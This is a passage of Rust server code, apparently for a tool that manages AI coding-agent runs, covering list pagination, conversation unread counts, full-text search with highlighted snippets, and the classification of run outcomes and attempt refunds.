5382            ids.sort_by_key(|id| !open.contains(id));
5383            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5384        } else {
5385            STORE_PAGE_SIZE.min(ids.len())
5386        };
5387        let ids = Arc::new(ids);
5388        walks = ui
5389            .monitor
5390            .list_walks
5391            .lock()
5392            .unwrap_or_else(PoisonError::into_inner);
5393        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5394        let mut token = crate::rng::entropy();
5395        while walks.iter().any(|walk| walk.token == token) {
5396            token = crate::rng::entropy();
5397        }
5398        // Four clients can enumerate both stores and overlap a refresh. Bound
5399        // retained membership snapshots; an evicted cursor explicitly retries.
5400        if walks.len() >= 16 {
5401            walks.remove(0);
5402        }
5403        walks.push(ListWalk {
5404            token,
5405            talks,
5406            opened: std::time::Instant::now(),
5407            ids: ids.clone(),
5408            initial_end,
5409        });
5410        (token, ids, 0, initial_end)
5411    };
5412    if offset > ids.len() {
5413        return Err(ApiError::bad_request("Invalid list cursor"));
5414    }
5415    let end = if offset == 0 {
5416        initial_end
5417    } else {
5418        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5419    };
5420    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5421    Ok((ids[offset..end].to_vec(), next))
5422}
5423
5424async fn queue_page(
5425    State(ui): State<Arc<Ui>>,
5426    Query(q): Query<PageQuery>,
5427) -> ApiResult<Json<StorePage<TaskView>>> {
5428    blocking(move || {
5429        let (ids, next) = page_ids(&ui, false, q)?;
5430        let tasks: Vec<_> = ids
5431            .into_iter()
5432            .filter_map(|id| ui.queue.get(&id).ok())
5433            .collect();
5434        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5435        let rows = tasks
5436            .into_iter()
5437            .map(|task| TaskView::with_inventory(task, &inv))
5438            .collect();
5439        Ok(Json(StorePage { rows, next }))
5440    })
5441    .await
5442}
5443
5444/// Fixed-size wire projection. Agent timestamps stay in the server index so
5445/// exact unread counts do not require sending an ever-growing turn list.
5446#[derive(Debug, Clone, Serialize)]
5447struct TalkListView {
5448    title: Option<talk::ChatTitle>,
5449    id: String,
5450    repo: PathBuf,
5451    agent: String,
5452    status: talk::TalkStatus,
5453    turns: Vec<TalkListTurn>,
5454    turn_count: usize,
5455    unread_count: usize,
5456    context: talk::ContextUsage,
5457    #[serde(skip)]
5458    agent_times: Vec<Timestamp>,
5459    thinking: bool,
5460    created_at: Timestamp,
5461    updated_at: Timestamp,
5462}
5463
5464#[derive(Debug, Clone, Serialize)]
5465struct TalkListTurn {
5466    who: talk::Who,
5467    at: Timestamp,
5468    body: String,
5469}
5470
5471fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5472    let reads: HashMap<String, Timestamp> = headers
5473        .get("x-talk-reads")
5474        .and_then(|v| v.to_str().ok())
5475        .and_then(|v| serde_json::from_str(v).ok())
5476        .unwrap_or_default();
5477    let mut index = ui
5478        .monitor
5479        .talk_index
5480        .lock()
5481        .unwrap_or_else(PoisonError::into_inner);
5482    // Bound memory independently of the number of conversations ever opened.
5483    if index.len() > 1000 {
5484        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5485        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5486        if index.len() > 1000 {
5487            index.retain(|id, _| keep.contains(id.as_str()));
5488        }
5489    }
5490    ids.into_iter()
5491        .filter_map(|id| {
5492            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5493            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5494                let talk = ui.talks.get(&id).ok()?;
5495                #[cfg(test)]
5496                ui.monitor
5497                    .talk_parses
5498                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5499                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5500                let last = talk.turns.len().checked_sub(1);
5501                let turns = talk
5502                    .turns
5503                    .iter()
5504                    .enumerate()
5505                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5506                    .map(|(_, t)| TalkListTurn {
5507                        who: t.who,
5508                        at: t.at,
5509                        body: t
5510                            .body
5511                            .lines()
5512                            .next()
5513                            .unwrap_or_default()
5514                            .chars()
5515                            .take(240)
5516                            .collect(),
5517                    })
5518                    .collect();
5519                let row = TalkListView {
5520                    title: talk.title.clone(),
5521                    agent_times: talk
5522                        .turns
5523                        .iter()
5524                        .filter(|t| t.who == talk::Who::Agent)
5525                        .map(|t| t.at)
5526                        .collect(),
5527                    turn_count: talk.turns.len(),
5528                    unread_count: 0,
5529                    context: talk::context_usage(&talk, None),
5530                    turns,
5531                    thinking: false,
5532                    id: talk.id,
5533                    repo: talk.repo,
5534                    agent: talk.agent,
5535                    status: talk.status,
5536                    created_at: talk.created_at,
5537                    updated_at: talk.updated_at,
5538                };
5539                index.insert(id.clone(), (identity, row));
5540            }
5541            let row = &index.get(&id)?.1;
5542            let mut row = TalkListView {
5543                title: row.title.clone(),
5544                unread_count: row
5545                    .agent_times
5546                    .iter()
5547                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5548                    .count(),
5549                agent_times: Vec::new(),
5550                id: row.id.clone(),
5551                repo: row.repo.clone(),
5552                agent: row.agent.clone(),
5553                status: row.status,
5554                context: row.context.clone(),
5555                turns: row.turns.clone(),
5556                turn_count: row.turn_count,
5557                thinking: false,
5558                created_at: row.created_at,
5559                updated_at: row.updated_at,
5560            };
5561            row.thinking = ui.is_thinking(&id);
5562            Some(row)
5563        })
5564        .collect()
5565}
5566
5567async fn talks_page(
5568    State(ui): State<Arc<Ui>>,
5569    Query(q): Query<PageQuery>,
5570    headers: header::HeaderMap,
5571) -> ApiResult<Json<StorePage<TalkListView>>> {
5572    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5573        let (ids, next) = page_ids(&ui, true, q)?;
5574        Ok(Json(StorePage {
5575            rows: talk_rows(&ui, ids, &headers),
5576            next,
5577        }))
5578    })
5579    .await
5580}
5581
5582async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5583    blocking(move || {
5584        let tasks = ui.indexed_tasks()?;
5585        Ok(Json(TaskCountsView::from(
5586            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5587        )))
5588    })
5589    .await
5590}
5591
5592/// Most hits one search returns. The rest are counted in `total`.
5593const SEARCH_MAX_HITS: usize = 100;
5594/// Longest query, in characters, and most terms it is split into.
5595const SEARCH_MAX_QUERY: usize = 200;
5596const SEARCH_MAX_TERMS: usize = 8;
5597/// Characters of context kept before the first hit, and after it.
5598const SNIPPET_BEFORE: usize = 50;
5599const SNIPPET_AFTER: usize = 110;
5600
5601/// `?scope=runs|tasks&q=...`
5602#[derive(Debug, Deserialize)]
5603struct SearchQuery {
5604    #[serde(default)]
5605    scope: String,
5606    #[serde(default)]
5607    q: String,
5608}
5609
5610/// One piece of a snippet. `hit` pieces are what matched; the client renders
5611/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5612#[derive(Debug, Serialize, PartialEq, Eq)]
5613struct SnippetPart {
5614    text: String,
5615    hit: bool,
5616}
5617
5618/// Position plus transcript evidence, without changing the saved chat schema.
5619#[derive(Debug, Serialize)]
5620struct ChatSearchTarget {
5621    turn: usize,
5622    message: usize,
5623    at: String,
5624    text: String,
5625}
5626
5627fn chat_text_key(body: &str) -> String {
5628    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5629        (hash ^ u32::from(c)).wrapping_mul(16777619)
5630    });
5631    format!("{hash:08x}:{}", body.chars().count())
5632}
5633
5634#[derive(Debug, Serialize)]
5635struct SearchHit {
5636    #[serde(skip_serializing_if = "Option::is_none")]
5637    target: Option<ChatSearchTarget>,
5638    id: String,
5639    /// The name of the field the snippet was cut from.
5640    field: String,
5641    snippet: Vec<SnippetPart>,
5642    /// The run's list row, so the page can apply its state / section / repo
5643    /// filters to a hit outside the loaded window. Absent for tasks and for a
5644    /// run record the list view cannot read.
5645    #[serde(skip_serializing_if = "Option::is_none")]
5646    run: Option<RunSummary>,
5647}
5648
5649#[derive(Debug, Serialize)]
5650struct SearchView {
5651    scope: String,
5652    q: String,
5653    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5654    hits: Vec<SearchHit>,
5655    /// Every match, hits beyond the cap included.
5656    total: usize,
5657    truncated: bool,
5658    /// Runs whose `run.json` could not be parsed at all. They were not
5659    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5660    unreadable: usize,
5661}
5662
5663/// The text leaves of a JSON document, with the name of the field each sits
5664/// under. Keys and numbers are skipped: they are structure, not prose.
5665fn text_leaves<'a>(
5666    value: &'a serde_json::Value,
5667    field: &'a str,
5668    out: &mut Vec<(&'a str, &'a str)>,
5669) {
5670    match value {
5671        serde_json::Value::String(s) => out.push((field, s)),
5672        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5673        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5674        _ => {}
5675    }
5676}
5677
5678/// Lower-case one character without changing how many there are, so indices
5679/// in the lowered text are indices in the original.
5680fn fold_char(c: char) -> char {
5681    c.to_lowercase().next().unwrap_or(c)
5682}
5683
5684/// Split a query into its lower-cased terms.
5685fn search_terms(q: &str) -> Vec<String> {
5686    let mut terms: Vec<String> = Vec::new();
5687    for t in q.split_whitespace() {
5688        let t = t.to_lowercase();
5689        if !terms.contains(&t) {
5690            terms.push(t);
5691        }
5692    }
5693    terms
5694}
5695
5696/// Match `terms` (all of them, anywhere in the document) against the leaves
5697/// and cut a snippet around the first hit. `None` when a term is missing.
5698fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5699    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5700    let mut first: Option<usize> = None;
5701    for term in terms {
5702        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5703        first = Some(first.map_or(at, |f| f.min(at)));
5704    }
5705    // The leaf holding the earliest hit of any term is where the snippet is cut.
5706    let (field, text) = leaves[first?];
5707    Some(SearchHit {
5708        id: String::new(),
5709        target: None,
5710        field: field.to_owned(),
5711        snippet: snippet_of(text, terms),
5712        run: None,
5713    })
5714}
5715
5716/// A window of `text` around the first occurrence of any term, whitespace
5717/// collapsed, with every term occurrence inside the window marked.
5718fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5719    let chars: Vec<char> = text.chars().collect();
5720    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5721    let needles: Vec<Vec<char>> = terms
5722        .iter()
5723        .map(|t| t.chars().map(fold_char).collect())
5724        .collect();
5725    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5726        let mut best: Option<(usize, usize)> = None;
5727        for n in needles.iter().filter(|n| !n.is_empty()) {
5728            // `to` bounds where a match may start; it may run past `to` (the
5729            // caller clips what it shows). A term longer than the field cannot
5730            // occur in it (it may live in another leaf of the document).
5731            if n.len() > chars.len() || to == 0 {
5732                continue;
5733            }
5734            let last = (to - 1).min(chars.len() - n.len());
5735            if from > last {
5736                continue;
5737            }
5738            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5739                && best.is_none_or(|(b, _)| i < b)
5740            {
5741                best = Some((i, i + n.len()));
5742            }
5743        }
5744        best
5745    };
5746    let Some((start, _)) = find(0, chars.len()) else {
5747        // Matched only through a case mapping that changes length: show the head.
5748        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5749        return vec![SnippetPart {
5750            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5751            hit: false,
5752        }];
5753    };
5754    let lo = start.saturating_sub(SNIPPET_BEFORE);
5755    let hi = (start + SNIPPET_AFTER).min(chars.len());
5756    let mut parts: Vec<SnippetPart> = Vec::new();
5757    let mut push = |s: &[char], hit: bool| {
5758        if s.is_empty() {
5759            return;
5760        }
5761        let text: String = s.iter().collect();
5762        match parts.last_mut() {
5763            Some(p) if p.hit == hit => p.text.push_str(&text),
5764            _ => parts.push(SnippetPart { text, hit }),
5765        }
5766    };
5767    if lo > 0 {
5768        push(&['\u{2026}'], false);
5769    }
5770    let mut at = lo;
5771    while at < hi {
5772        match find(at, hi) {
5773            Some((s, e)) => {
5774                push(&chars[at..s], false);
5775                // A match running past the window is shown up to its edge.
5776                let shown = e.min(hi);
5777                push(&chars[s..shown], true);
5778                at = shown;
5779            }
5780            None => {
5781                push(&chars[at..hi], false);
5782                at = hi;
5783            }
5784        }
5785    }
5786    if hi < chars.len() {
5787        push(&['\u{2026}'], false);
5788    }
5789    // Collapse whitespace (newlines in an instruction) without disturbing the
5790    // hit boundaries.
5791    let mut prev_space = false;
5792    for p in &mut parts {
5793        let mut out = String::with_capacity(p.text.len());
5794        for c in p.text.chars() {
5795            if c.is_whitespace() {
5796                if !prev_space {
5797                    out.push(' ');
5798                }
5799                prev_space = true;
5800            } else {
5801                out.push(c);
5802                prev_space = false;
5803            }
5804        }
5805        p.text = out;
5806    }
5807    parts.retain(|p| !p.text.is_empty());
5808    parts
5809}
5810
5811/// The search over `docs` (id, document), newest first, capped.
5812fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5813where
5814    I: IntoIterator<Item = (String, serde_json::Value)>,
5815{
5816    for (id, doc) in docs {
5817        let mut leaves = Vec::new();
5818        // The id is text an operator types too, and it is a map key on disk,
5819        // not a leaf.
5820        leaves.push(("id", id.as_str()));
5821        text_leaves(&doc, "", &mut leaves);
5822        if let Some(mut hit) = search_document(terms, &leaves) {
5823            view.total += 1;
5824            if view.hits.len() < SEARCH_MAX_HITS {
5825                hit.id = id;
5826                view.hits.push(hit);
5827            }
5828        }
5829    }
5830    view.truncated = view.total > view.hits.len();
5831}
5832
5833/// What a conversation is searched by: its list title and each turn's text,
5834/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5835/// (session ids, repo paths, usage, drafts) is part of the document.
5836///
5837/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5838fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5839    let opener = talk
5840        .title
5841        .as_ref()
5842        .filter(|t| !t.text.is_empty())
5843        .map(|t| t.text.as_str())
5844        .or_else(|| {
5845            talk.turns
5846                .iter()
5847                .find(|t| t.who == talk::Who::Operator)
5848                .map(|t| t.body.as_str())
5849        })
5850        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5851        .unwrap_or("");
5852    let title: String = if opener.chars().count() > 96 {
5853        opener.chars().take(95).chain(['\u{2026}']).collect()
5854    } else {
5855        opener.to_owned()
5856    };
5857    let turns: Vec<serde_json::Value> = talk
5858        .turns
5859        .iter()
5860        .flat_map(|t| {
5861            let who = match t.who {
5862                crate::talk::Who::Operator => "operator",
5863                crate::talk::Who::Agent => "agent",
5864            };
5865            if t.messages.is_empty() {
5866                vec![serde_json::json!({ who: t.body })]
5867            } else {
5868                t.messages
5869                    .iter()
5870                    .map(|m| serde_json::json!({ who: m.body }))
5871                    .collect()
5872            }
5873        })
5874        .collect();
5875    serde_json::json!({ "title": title, "turns": turns })
5876}
5877
5878fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5879    let doc = talk_search_doc(talk);
5880    let mut leaves = vec![("id", talk.id.as_str())];
5881    text_leaves(&doc, "", &mut leaves);
5882    let mut hit = search_document(terms, &leaves)?;
5883    // Use exactly the leaf that supplied the snippet, including title/id hits.
5884    let leaf = leaves
5885        .iter()
5886        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5887    let messages: Vec<_> = talk
5888        .turns
5889        .iter()
5890        .enumerate()
5891        .flat_map(|(i, turn)| {
5892            let bodies: Vec<&str> = if turn.messages.is_empty() {
5893                vec![turn.body.as_str()]
5894            } else {
5895                turn.messages.iter().map(|m| m.body.as_str()).collect()
5896            };
5897            bodies
5898                .into_iter()
5899                .enumerate()
5900                .map(move |(j, body)| (i, j, turn, body))
5901        })
5902        .collect();
5903    let target = leaf
5904        .checked_sub(2)
5905        .and_then(|i| messages.get(i))
5906        .or_else(|| {
5907            // An unsaved title is the opener's first nonempty line, so its
5908            // snippet still identifies a transcript message. Saved titles do not.
5909            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5910                return None;
5911            }
5912            let (index, opener) = talk
5913                .turns
5914                .iter()
5915                .enumerate()
5916                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5917            let line = opener
5918                .body
5919                .lines()
5920                .map(str::trim)
5921                .find(|line| !line.is_empty())?;
5922            messages.iter().find(|(i, _, _, body)| {
5923                *i == index
5924                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5925            })
5926        });
5927    if let Some((i, j, turn, body)) = target {
5928        hit.target = Some(ChatSearchTarget {
5929            turn: *i,
5930            message: *j,
5931            at: turn.at.to_string(),
5932            text: chat_text_key(body),
5933        });
5934    }
5935    hit.id = talk.id.clone();
5936    Some(hit)
5937}
5938
5939/// Read-only full-text search over every run's `run.json`, every task or every
5940/// conversation (title and transcript).
5941///
5942/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5943/// record from an older schema still searches; only a file that is not JSON
5944/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5945async fn search_get(
5946    State(ui): State<Arc<Ui>>,
5947    Query(q): Query<SearchQuery>,
5948) -> ApiResult<Json<SearchView>> {
5949    let query = q.q.trim().to_owned();
5950    if query.is_empty() {
5951        return Err(ApiError::bad_request("q must not be empty"));
5952    }
5953    if query.chars().count() > SEARCH_MAX_QUERY {
5954        return Err(ApiError::bad_request(format!(
5955            "q is longer than {SEARCH_MAX_QUERY} characters"
5956        )));
5957    }
5958    let terms = search_terms(&query);
5959    if terms.len() > SEARCH_MAX_TERMS {
5960        return Err(ApiError::bad_request(format!(
5961            "q has more than {SEARCH_MAX_TERMS} terms"
5962        )));
5963    }
5964    let scope = q.scope;
5965    if scope != "runs" && scope != "tasks" && scope != "chats" {
5966        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5967    }
5968    blocking(move || {
5969        let mut view = SearchView {
5970            scope: scope.clone(),
5971            q: query,
5972            hits: Vec::new(),
5973            total: 0,
5974            truncated: false,
5975            unreadable: 0,
5976        };
5977        if scope == "runs" {
5978            let mut unreadable = 0;
5979            // One run.json is read, matched and dropped at a time; nothing
5980            // holds the whole history. The scan runs to the end even past the
5981            // hit cap so `total` and `unreadable` stay exact.
5982            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5983                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5984                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5985                    Some(v) => Some((id, v)),
5986                    None => {
5987                        unreadable += 1;
5988                        None
5989                    }
5990                }
5991            });
5992            search_docs(&terms, docs, &mut view);
5993            view.unreadable = unreadable;
5994            // Only the capped hits get a row: the filters need a run's state,
5995            // and reading every match would be the whole history again.
5996            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5997            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5998            for hit in &mut view.hits {
5999                if let Ok(state) = read_run(&ui.runs, &hit.id) {
6000                    hit.run = summarize(
6001                        [state],
6002                        &open_runs,
6003                        &claimed,
6004                        &superseded,
6005                        |p| probe.borrow_mut().status(p),
6006                        |p| probe.borrow_mut().started_at(p),
6007                    )
6008                    .pop();
6009                }
6010            }
6011        } else if scope == "chats" {
6012            let (talks, unreadable) = ui.talks.list_counting_unreadable();
6013            view.unreadable = unreadable;
6014            for talk in &talks {
6015                if let Some(hit) = search_chat(&terms, talk) {
6016                    view.total += 1;
6017                    if view.hits.len() < SEARCH_MAX_HITS {
6018                        view.hits.push(hit);
6019                    }
6020                }
6021            }
6022            view.truncated = view.total > view.hits.len();
6023        } else {
6024            let docs = ui.queue.list().into_iter().filter_map(|t| {
6025                let mut v = serde_json::to_value(&t).ok()?;
6026                // `source` serialises as a tagged object; the label is what
6027                // the operator reads ("human", "chat@a1b2").
6028                if let Some(o) = v.as_object_mut() {
6029                    o.insert("filed_by".to_owned(), t.source.label().into());
6030                }
6031                Some((t.id, v))
6032            });
6033            search_docs(&terms, docs, &mut view);
6034        }
6035        Ok(Json(view))
6036    })
6037    .await
6038}
6039
6040/// One attempt in a task's history, as the task page lists it.
6041#[derive(Debug, Serialize)]
6042struct TaskRunView {
6043    activity: Option<String>,
6044    /// 1-based position in [`Task::runs`].
6045    n: usize,
6046    id: String,
6047    short: String,
6048    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6049    kind: &'static str,
6050    /// The run's own status string; `None` when its record cannot be read.
6051    status: Option<&'static str>,
6052    /// Whether this build could read the run's record. Counted, never hidden.
6053    readable: bool,
6054    /// A verdict from a collapsed panel is provisional, never a decision.
6055    provisional: bool,
6056    /// What kind of attempt this was, in one line.
6057    description: String,
6058    /// How it ended and why the task moved on (or what it is doing now).
6059    outcome: String,
6060    created_at: Option<Timestamp>,
6061    pr: Option<String>,
6062    /// Why this pass ended, classified once; the flowchart is built from it.
6063    exit: RunExit,
6064    /// What the pass did to the task's attempt budget.
6065    attempt: AttemptCost,
6066    /// Edge wording for leaving this entry; names the recorded cause when
6067    /// there is one.
6068    exit_label: String,
6069    /// The position of a later entry for the same run: this entry is an
6070    /// earlier pass of it.
6071    later_pass: Option<usize>,
6072    /// Which pass over the run this entry is (1-based) and how many entries
6073    /// the task lists for the run. Counted from the list, so known even for
6074    /// a legacy record.
6075    pass_n: usize,
6076    passes_of_run: usize,
6077    /// What the run recorded about this pass; `None` for a record from before
6078    /// passes were kept, whose cause stays unknown.
6079    pass: Option<PassView>,
6080    /// The branch a review-only run reopened.
6081    branch: Option<String>,
6082    /// The badge word when it differs from `status` (`stale` / `superseded`);
6083    /// filled by the task route, which can see liveness and later attempts.
6084    badge: Option<String>,
6085}
6086
6087/// One recorded pass over a run, for the wire.
6088#[derive(Debug, Clone, PartialEq, Serialize)]
6089struct PassView {
6090    index: usize,
6091    resumed: bool,
6092    started_at: Timestamp,
6093    ended_at: Option<Timestamp>,
6094    /// `open`, `parked` or `unrecorded`.
6095    end: &'static str,
6096    cause: Option<crate::run::ParkCause>,
6097    /// One line: why it stopped, or that nobody recorded why.
6098    label: String,
6099    /// What the task recorded for this pass; `None` when it was not settled
6100    /// (or settled by a build that kept no record).
6101    cost: Option<crate::queue::PassCost>,
6102}
6103
6104impl PassView {
6105    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6106        use crate::run::PassEnd;
6107        let (end, cause, label) = match &p.end {
6108            None => ("open", None, "still open".to_owned()),
6109            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6110            Some(PassEnd::Unrecorded) => (
6111                "unrecorded",
6112                None,
6113                "stopped without recording why (a crash, a kill or a restart; not known)"
6114                    .to_owned(),
6115            ),
6116        };
6117        Self {
6118            index: p.index,
6119            resumed: p.resumed,
6120            started_at: p.started_at,
6121            ended_at: p.ended_at,
6122            end,
6123            cause,
6124            label,
6125            cost: settled.map(|t| t.cost),
6126        }
6127    }
6128}
6129
6130/// How one pass over a run ended, as far as the task's life is concerned.
6131#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6132#[serde(rename_all = "snake_case")]
6133enum RunExit {
6134    Unreadable,
6135    /// An earlier pass of a run id that appears again: it stopped short.
6136    Interrupted,
6137    Parked,
6138    MachineBlocked,
6139    QuotaStall,
6140    /// Stalled on a resumed pass with quota losses on record: they may be
6141    /// left over from an earlier pass, so whether this one was refunded is
6142    /// not knowable.
6143    ResumedQuotaStall,
6144    Merged,
6145    Ready,
6146    Superseded,
6147    /// The change was already on the base under other commits: the task
6148    /// finished without this run landing anything.
6149    AlreadyInBase,
6150    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6151    Stalled,
6152    /// Blocked / no-op with a pull request left open: held for a person.
6153    HeldWithPr,
6154    NoopHeld,
6155    /// Blocked or failed: the attempt is spent and the task retries or holds.
6156    Spent,
6157    InProgress,
6158}
6159
6160#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6161#[serde(rename_all = "snake_case")]
6162enum AttemptCost {
6163    Spent,
6164    Refunded,
6165    None,
6166    /// Cannot be told from the records that remain.
6167    Unknown,
6168}
6169
6170impl RunExit {
6171    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6172        let Some(s) = s else {
6173            return Self::Unreadable;
6174        };
6175        let status = s.status;
6176        if resumed_later {
6177            Self::Interrupted
6178        } else if s.parked {
6179            Self::Parked
6180        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6181            Self::MachineBlocked
6182        } else if !status.done() {
6183            Self::InProgress
6184        } else if matches!(status, RunStatus::Merged) {
6185            Self::Merged
6186        } else if matches!(status, RunStatus::Ready) {
6187            Self::Ready
6188        } else if matches!(status, RunStatus::Superseded) {
6189            Self::Superseded
6190        } else if matches!(status, RunStatus::AlreadyInBase) {
6191            Self::AlreadyInBase
6192        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6193            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6194        {
6195            if resumed {
6196                Self::ResumedQuotaStall
6197            } else {
6198                Self::QuotaStall
6199            }
6200        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6201            Self::HeldWithPr
6202        } else if matches!(status, RunStatus::VerifiedNoop) {
6203            Self::NoopHeld
6204        } else if matches!(status, RunStatus::Stalled) {
6205            Self::Stalled
6206        } else {
6207            Self::Spent
6208        }
6209    }
6210
6211    fn cost(self) -> AttemptCost {
6212        match self {
6213            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6214            Self::Merged
6215            | Self::Ready
6216            | Self::Stalled
6217            | Self::HeldWithPr
6218            | Self::NoopHeld
6219            | Self::Spent => AttemptCost::Spent,
6220            Self::InProgress => AttemptCost::None,
6221            Self::AlreadyInBase => AttemptCost::Refunded,
6222            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6223                AttemptCost::Unknown
6224            }
6225        }
6226    }
6227
6228    /// Short edge wording for leaving a run this way.
6229    fn edge_label(self, status: Option<&str>) -> String {
6230        match self {
6231            Self::Unreadable => "record unreadable".to_owned(),
6232            Self::Interrupted => "interrupted before the run finished".to_owned(),
6233            Self::Parked => "parked, attempt refunded".to_owned(),
6234            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6235            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6236            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6237            Self::Merged => "merged".to_owned(),
6238            Self::Ready => "ready, not merged".to_owned(),
6239            Self::Superseded => "superseded by a later attempt".to_owned(),
6240            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6241            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6242            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6243            Self::NoopHeld => "verified no-op".to_owned(),
6244            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6245            Self::InProgress => "in progress".to_owned(),
6246        }
6247    }
6248
6249    /// Does a task in `end` follow from a run that ended this way? When not,
6250    /// somebody closed or held the task by hand.
6251    fn explains(self, end: TaskStatus) -> bool {
6252        match self {
6253            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6254            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6255            Self::Unreadable | Self::Superseded | Self::Ready => true,
6256            _ => end != TaskStatus::Done,
6257        }
6258    }
6259}
6260
6261/// `GET /api/queue/{id}` - one task with every attempt it went through.
6262#[derive(Debug, Serialize)]
6263struct TaskDetailView {
6264    #[serde(flatten)]
6265    task: TaskView,
6266    /// Task override, or the default daemon budget when inherited.
6267    /// A separate loop's command-line limit is not visible from here.
6268    max_attempts: usize,
6269    history: Vec<TaskRunView>,
6270    /// Entries in `history`: passes over runs, not distinct runs and not
6271    /// attempts consumed (`task.attempts`).
6272    passes_total: usize,
6273    /// Distinct runs those passes belong to.
6274    runs_distinct: usize,
6275    flow: FlowView,
6276    /// Set for a follow-up task; see [`followup_origin`].
6277    followup_origin: Option<FollowUpOrigin>,
6278    /// How many entries of `history` could not be read.
6279    runs_unreadable: usize,
6280    /// Why the attempt count can be lower than the number of runs.
6281    attempts_note: &'static str,
6282}
6283
6284const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6285and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6286on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6287the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6288
6289/// The branch a review-only run reopened, read off the instruction
6290/// `Runner::open_review` writes.
6291fn review_branch_of(instruction: &str) -> Option<&str> {
6292    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6293    rest.split('`').next().filter(|b| !b.is_empty())
6294}
6295
6296/// Where an entry sits in a task's run list.
6297#[derive(Default)]
6298struct RunSlot<'a> {
6299    /// 1-based position.
6300    n: usize,
6301    /// The same run id appeared earlier: this pass resumed it.
6302    resumed: bool,
6303    /// Position of a later pass over the same run id, if any.
6304    resumed_later: Option<usize>,
6305    /// The previous distinct run and how it ended, for the retry note.
6306    prior: Option<(&'a str, RunStatus)>,
6307    last: bool,
6308    /// This pass as the run recorded it, when it did.
6309    pass: Option<&'a crate::run::RunPass>,
6310    /// What the task recorded when it settled this pass.
6311    settled: Option<&'a crate::queue::TaskPass>,
6312    /// 1-based position among the task's entries for this run, and their count.
6313    pass_n: usize,
6314    passes_of_run: usize,
